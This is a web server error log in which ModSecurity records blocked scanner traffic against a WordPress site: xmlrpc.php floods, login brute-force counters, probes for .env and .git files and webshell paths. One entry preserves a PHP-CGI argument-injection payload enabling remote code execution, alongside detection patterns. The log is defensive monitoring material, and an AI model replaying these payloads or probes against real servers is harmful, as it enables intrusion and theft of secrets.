[Thu Jan 22 22:48:10.296377 2026] [:error] [pid 52446:tid 52488] [client 34.172.63.185:53267] [client 34.172.63.185] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aXI4qrJ6clMw4kdrHYE0UwAAAEY"]
[Thu Jan 22 22:48:11.734715 2026] [:error] [pid 52446:tid 52504] [client 34.172.63.185:53267] [client 34.172.63.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.172.63.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXI4q7J6clMw4kdrHYE0VwAAAFY"]
[Thu Jan 22 22:48:13.890254 2026] [:error] [pid 36083:tid 36107] [client 34.172.63.185:61652] [client 34.172.63.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.172.63.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXI4rZCng2nQoR5iqwrAVwAAAVU"]
[Thu Jan 22 22:48:15.777776 2026] [:error] [pid 36083:tid 36105] [client 34.172.63.185:53846] [client 34.172.63.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.172.63.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXI4r5Cng2nQoR5iqwrAWgAAAVM"]
[Thu Jan 22 22:48:17.702496 2026] [:error] [pid 27550:tid 27575] [client 34.172.63.185:51151] [client 34.172.63.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.172.63.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXI4seOQDPzfV5R2LYRfEQAAARc"]
[Thu Jan 22 22:48:19.631564 2026] [:error] [pid 36083:tid 36086] [client 34.172.63.185:54885] [client 34.172.63.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.172.63.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXI4s5Cng2nQoR5iqwrAYAAAAUA"]
[Thu Jan 22 22:48:19.631676 2026] [:error] [pid 36083:tid 36086] [client 34.172.63.185:54885] [client 34.172.63.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.172.63.185, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXI4s5Cng2nQoR5iqwrAYAAAAUA"]
[Fri Jan 23 00:48:43.300904 2026] [:error] [pid 34321:tid 34337] [client 161.97.129.154:33728] [client 161.97.129.154] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/HEAD"] [unique_id "aXJU6xLMkukwqSCtKrDfFQAAAc0"]
[Fri Jan 23 00:48:43.314238 2026] [:error] [pid 20418:tid 20444] [client 161.97.129.154:33722] [client 161.97.129.154] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aXJU6xahoKEa6eS4cSqnJwAAAZY"]
[Fri Jan 23 01:24:39.722917 2026] [:error] [pid 52447:tid 52519] [client 5.9.59.157:51676] [client 5.9.59.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.9.59.157, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXJdV3RLA2NsdGqJzouZfgAAAIo"]
[Fri Jan 23 01:24:42.565382 2026] [:error] [pid 36083:tid 36097] [client 5.9.59.157:39514] [client 5.9.59.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.9.59.157, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXJdWpCng2nQoR5iqwrbQgAAAUs"]
[Fri Jan 23 02:46:41.643673 2026] [:error] [pid 34321:tid 34348] [client 146.190.242.161:34834] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd disable_functions="" \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.gigfragments.org|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd disable_functions=\\x22\\x22 \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd disable_functions=\\x22\\x22 \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aXJwkRLMkukwqSCtKrD6MwAAAdg"]
[Fri Jan 23 02:46:53.538699 2026] [authz_core:error] [pid 52445:tid 52463] [client 146.190.242.161:39158] AH01630: client denied by server configuration: /home/gigfrag/public_html/server-status
[Fri Jan 23 02:46:58.961452 2026] [:error] [pid 20418:tid 20427] [client 146.190.242.161:41776] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aXJwohahoKEa6eS4cSq9QAAAAYU"]
[Fri Jan 23 02:47:00.955393 2026] [:error] [pid 36083:tid 36109] [client 146.190.242.161:41788] [client 146.190.242.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aXJwpJCng2nQoR5iqwrovwAAAVc"]
[Fri Jan 23 03:00:11.462484 2026] [:error] [pid 20418:tid 20426] [client 178.128.209.254:63387] [client 178.128.209.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.209.254, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXJzuxahoKEa6eS4cSrAZAAAAYQ"]
[Fri Jan 23 03:00:13.774509 2026] [:error] [pid 20418:tid 20439] [client 178.128.209.254:63387] [client 178.128.209.254] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aXJzvRahoKEa6eS4cSrAawAAAZE"]
[Fri Jan 23 03:00:15.206647 2026] [:error] [pid 20418:tid 20425] [client 178.128.209.254:63387] [client 178.128.209.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.209.254, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXJzvxahoKEa6eS4cSrAbgAAAYM"]
[Fri Jan 23 03:00:17.066498 2026] [:error] [pid 20418:tid 20446] [client 178.128.209.254:65485] [client 178.128.209.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.209.254, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXJzwRahoKEa6eS4cSrAcQAAAZg"]
[Fri Jan 23 03:00:18.867146 2026] [:error] [pid 52556:tid 52576] [client 178.128.209.254:50243] [client 178.128.209.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.209.254, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXJzwug4y1NKM4AgfjCyRQAAANI"]
[Fri Jan 23 03:00:20.651872 2026] [:error] [pid 27550:tid 27568] [client 178.128.209.254:61369] [client 178.128.209.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.209.254, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXJzxOOQDPzfV5R2LYSTkwAAARA"]
[Fri Jan 23 03:00:22.368196 2026] [:error] [pid 36083:tid 36089] [client 178.128.209.254:51158] [client 178.128.209.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.209.254, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXJzxpCng2nQoR5iqwrq4gAAAUM"]
[Fri Jan 23 03:00:22.368386 2026] [:error] [pid 36083:tid 36089] [client 178.128.209.254:51158] [client 178.128.209.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.128.209.254, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXJzxpCng2nQoR5iqwrq4gAAAUM"]
[Fri Jan 23 03:28:11.291649 2026] [:error] [pid 36083:tid 36097] [client 43.159.144.16:41928] [client 43.159.144.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXJ6S5Cng2nQoR5iqwrwQwAAAUs"]
[Fri Jan 23 03:58:37.419956 2026] [:error] [pid 11608:tid 11676] [client 43.140.247.223:55756] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXKBbb4alK6RZLlMcto-_AAAAIQ"]
[Fri Jan 23 07:05:02.277176 2026] [:error] [pid 11607:tid 11662] [client 20.28.217.16:16925] [client 20.28.217.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/contents.php/lv.php"] [unique_id "aXKtHgucTAUsUUzKw5c85gAAAFE"]
[Fri Jan 23 07:05:02.348915 2026] [:error] [pid 11732:tid 11734] [client 20.28.217.16:38357] [client 20.28.217.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/contents.php/lv.php"] [unique_id "aXKtHufd54xxq04JKuOJSQAAAMA"]
[Fri Jan 23 07:05:02.410824 2026] [:error] [pid 11608:tid 11676] [client 20.28.217.16:38365] [client 20.28.217.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/contents.php/lv.php"] [unique_id "aXKtHr4alK6RZLlMctqXMgAAAIQ"]
[Fri Jan 23 07:05:02.488647 2026] [:error] [pid 11608:tid 11693] [client 20.28.217.16:22743] [client 20.28.217.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/contents.php/lv.php"] [unique_id "aXKtHr4alK6RZLlMctqXNAAAAJU"]
[Fri Jan 23 07:31:49.403800 2026] [:error] [pid 11608:tid 11678] [client 34.67.121.3:49856] [client 34.67.121.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.67.121.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXKzZb4alK6RZLlMctqkAgAAAIY"]
[Fri Jan 23 07:31:52.358376 2026] [:error] [pid 11608:tid 11687] [client 34.67.121.3:54484] [client 34.67.121.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.67.121.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXKzaL4alK6RZLlMctqkEgAAAI8"]
[Fri Jan 23 07:33:06.592948 2026] [:error] [pid 11732:tid 11749] [client 20.83.8.111:2816] [client 20.83.8.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.83.8.111, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXKzsufd54xxq04JKuObpQAAAM8"]
[Fri Jan 23 07:33:08.980134 2026] [:error] [pid 11732:tid 11743] [client 20.83.8.111:2817] [client 20.83.8.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.83.8.111, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXKztOfd54xxq04JKuObswAAAMk"]
[Fri Jan 23 07:41:25.228097 2026] [:error] [pid 11732:tid 11757] [client 20.89.104.181:45940] [client 20.89.104.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/berlin.php"] [unique_id "aXK1pefd54xxq04JKuOhVgAAANc"]
[Fri Jan 23 07:41:25.763517 2026] [:error] [pid 11732:tid 11752] [client 20.89.104.181:12448] [client 20.89.104.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aXK1pefd54xxq04JKuOhWgAAANI"]
[Fri Jan 23 07:41:27.853668 2026] [proxy_fcgi:error] [pid 11732:tid 11738] [client 20.89.104.181:12438] AH01071: Got error 'Primary script unknown'
[Fri Jan 23 07:41:37.233792 2026] [:error] [pid 11732:tid 11743] [client 20.89.104.181:12438] [client 20.89.104.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/functions.php"] [unique_id "aXK1sefd54xxq04JKuOhhgAAAMk"]
[Fri Jan 23 07:41:37.693988 2026] [:error] [pid 11607:tid 11653] [client 20.89.104.181:12442] [client 20.89.104.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/functions.php"] [unique_id "aXK1sQucTAUsUUzKw5dNcwAAAEk"]
[Fri Jan 23 07:41:38.154146 2026] [:error] [pid 11608:tid 11677] [client 20.89.104.181:12468] [client 20.89.104.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/functions.php"] [unique_id "aXK1sr4alK6RZLlMctqqLQAAAIU"]
[Fri Jan 23 07:41:38.613706 2026] [:error] [pid 11608:tid 11681] [client 20.89.104.181:45932] [client 20.89.104.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/functions.php"] [unique_id "aXK1sr4alK6RZLlMctqqLwAAAIk"]
[Fri Jan 23 08:12:52.449195 2026] [:error] [pid 11732:tid 11743] [client 198.235.24.247:61678] [client 198.235.24.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.235.24.247, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXK9BOfd54xxq04JKuO1LgAAAMk"]
[Fri Jan 23 09:19:23.453402 2026] [:error] [pid 11608:tid 11686] [client 43.133.69.37:32912] [client 43.133.69.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXLMm74alK6RZLlMctraMwAAAI4"]
[Fri Jan 23 13:39:09.457058 2026] [:error] [pid 11732:tid 11741] [client 128.14.74.123:51922] [client 128.14.74.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.14.74.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXMJfefd54xxq04JKuMV2gAAAMc"]
[Fri Jan 23 13:39:11.662386 2026] [:error] [pid 64912:tid 64930] [client 128.14.74.123:41562] [client 128.14.74.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.14.74.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXMJf7em6jVGKqodwtKQqAAAAZA"]
[Fri Jan 23 14:18:40.281688 2026] [:error] [pid 11608:tid 11690] [client 68.178.173.202:46936] [client 68.178.173.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.178.173.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXMSwL4alK6RZLlMctphVwAAAJI"]
[Fri Jan 23 14:18:42.089478 2026] [:error] [pid 11608:tid 11676] [client 68.178.173.202:46936] [client 68.178.173.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.178.173.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXMSwr4alK6RZLlMctphWQAAAIQ"], referer: https://gigfragments.org/wp-login.php
[Fri Jan 23 14:28:48.440270 2026] [:error] [pid 11608:tid 11685] [client 5.161.196.168:53252] [client 5.161.196.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.196.168, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXMVIL4alK6RZLlMctpmvQAAAI0"]
[Fri Jan 23 14:28:50.107443 2026] [:error] [pid 11608:tid 11673] [client 5.161.196.168:53252] [client 5.161.196.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.196.168, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXMVIr4alK6RZLlMctpmvwAAAIE"], referer: https://gigfragments.org/wp-login.php
[Fri Jan 23 14:32:48.791623 2026] [:error] [pid 11732:tid 11758] [client 209.126.127.194:36148] [client 209.126.127.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.126.127.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXMWEOfd54xxq04JKuMj3AAAANg"]
[Fri Jan 23 14:45:58.030555 2026] [:error] [pid 64912:tid 64928] [client 212.227.175.43:60362] [client 212.227.175.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/userfuns.php"] [unique_id "aXMZJrem6jVGKqodwtKoUgAAAY4"], referer: www.google.com
[Fri Jan 23 14:47:10.997440 2026] [:error] [pid 64230:tid 64247] [client 103.48.194.67:43298] [client 103.48.194.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.48.194.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXMZbq2JXmVjD91caKJ4tgAAAU4"]
[Fri Jan 23 14:47:13.218691 2026] [:error] [pid 64230:tid 64238] [client 103.48.194.67:43298] [client 103.48.194.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.48.194.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXMZca2JXmVjD91caKJ4uwAAAUU"], referer: https://gigfragments.org/wp-login.php
[Fri Jan 23 14:51:38.149514 2026] [:error] [pid 11607:tid 11654] [client 171.244.206.65:58622] [client 171.244.206.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 171.244.206.65, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXMaegucTAUsUUzKw5fK0QAAAEo"]
[Fri Jan 23 15:06:51.829247 2026] [:error] [pid 11606:tid 11615] [client 5.9.59.157:42192] [client 5.9.59.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.9.59.157, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXMeC1njAJqfHEQLcshAJgAAAAA"]
[Fri Jan 23 15:20:46.225278 2026] [:error] [pid 64912:tid 64921] [client 15.235.218.124:58396] [client 15.235.218.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.218.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXMhTrem6jVGKqodwtKyyAAAAYc"]
